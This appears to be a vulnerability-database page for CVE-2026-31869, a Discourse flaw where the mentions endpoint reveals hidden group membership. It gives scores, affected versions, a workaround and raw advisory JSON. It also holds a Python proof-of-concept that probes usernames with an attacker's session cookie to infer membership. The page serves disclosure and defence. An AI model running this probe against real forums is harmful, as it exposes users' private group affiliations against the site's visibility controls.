Security Vulnerability Report
中文
CVE-2026-31869 CVSS 4.3 MEDIUM

CVE-2026-31869

Published: 2026-03-20 03:16:00
Last Modified: 2026-03-24 20:22:46

Description

Discourse is an open-source discussion platform. Prior to versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2, the ComposerController#mentions endpoint reveals hidden group membership to any authenticated user who can message the group. By supplying allowed_names referencing a hidden-membership group and probing arbitrary usernames, an attacker can infer membership based on whether user_reasons returns "private" for a given user. This bypasses group member-visibility controls. Versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 contain a patch. To work around this issue, restrict the messageable policy of any hidden-membership group to staff or group members only, so untrusted users cannot reach the vulnerable code path.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:discourse:discourse:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:discourse:discourse:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:discourse:discourse:2026.3.0:*:*:*:latest:*:*:* - VULNERABLE
Discourse < 2026.3.0-latest.1
Discourse < 2026.2.1
Discourse < 2026.1.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2026-31869 PoC: Discourse Hidden Group Membership Disclosure # Preconditions: Attacker has a valid authenticated session (cookie/token). TARGET_URL = "https://target-discourse.com" API_PATH = "/composer/mentions" HIDDEN_GROUP = "confidential_group" # Name of the hidden group # Attacker's session cookie SESSION_COOKIE = "_forum_session=attacker_cookie_value_here" def probe_hidden_group_membership(username): headers = { "Cookie": SESSION_COOKIE, "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest" } # Payload structure based on the vulnerability description payload = { "allowed_names": HIDDEN_GROUP, # Referencing the hidden group "usernames": username, # Probing arbitrary username "topic_id": "1" # Context ID (may be required by controller) } try: response = requests.post(f"{TARGET_URL}{API_PATH}", headers=headers, data=payload) if response.status_code == 200: data = response.json() # Logic: Check user_reasons for the specific indicator user_reasons = data.get("user_reasons", {}) if username in user_reasons: reason = user_reasons[username] # If reason is 'private', it implies membership in the hidden group if reason == "private": print(f"[+] Confirmed: User '{username}' is a member of hidden group '{HIDDEN_GROUP}'") return True else: print(f"[-] Not a member or public: User '{username}' (Reason: {reason})") else: print(f"[-] User '{username}' not found in results") else: print(f"Request failed with status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}") if __name__ == "__main__": # Example usage probe_hidden_group_membership("admin") probe_hidden_group_membership("suspect_user")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-31869", "sourceIdentifier": "[email protected]", "published": "2026-03-20T03:15:59.533", "lastModified": "2026-03-24T20:22:46.050", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Discourse is an open-source discussion platform. Prior to versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2, the ComposerController#mentions endpoint reveals hidden group membership to any authenticated user who can message the group. By supplying allowed_names referencing a hidden-membership group and probing arbitrary usernames, an attacker can infer membership based on whether user_reasons returns \"private\" for a given user. This bypasses group member-visibility controls. Versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 contain a patch. To work around this issue, restrict the messageable policy of any hidden-membership group to staff or group members only, so untrusted users cannot reach the vulnerable code path."}, {"lang": "es", "value": "Discourse es una plataforma de discusión de código abierto. Antes de las versiones 2026.3.0-latest.1, 2026.2.1 y 2026.1.2, el endpoint ComposerController#mentions revela la membresía oculta de un grupo a cualquier usuario autenticado que puede enviar mensajes al grupo. Al proporcionar allowed_names que hacen referencia a un grupo de membresía oculta y al sondear nombres de usuario arbitrarios, un atacante puede inferir la membresía basándose en si user_reasons devuelve 'private' para un usuario dado. Esto elude los controles de visibilidad de miembros del grupo. Las versiones 2026.3.0-latest.1, 2026.2.1 y 2026.1.2 contienen un parche. Para solucionar este problema, restrinja la política de mensajería de cualquier grupo de membresía oculta solo al personal o a los miembros del grupo, para que los usuarios no confiables no puedan alcanzar la ruta de código vulnerable."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-200"}, {"lang": "en", "value": "CWE-285"}, {"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:*:*:*:*:*:*:*:*", "versionStartIncluding": "2026.1.0", "versionEndExcluding": "2026.1.2", "matchCriteriaId": "4BE96625-3609-410C-B41E-4A824C1A57C0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:*:*:*:*:*:*:*:*", "versionStartIncluding": "2026.2.0", "versionEndExcluding": "2026.2.1", "matchCriteriaId": "FD31CF04-CF2F-4FB9-8880-9243BC7671A7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:2026.3.0:*:*:*:latest:*:*:*", "matchCriteriaId": "E3FE9277-4F6B-4FD0-991F-F0FB8D226E1C"}]}]}], "references": [{"url": "https://github.com/discourse/discourse/security/advisories/GHSA-5f9h-vp7v-7vq5", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]} ... (truncated)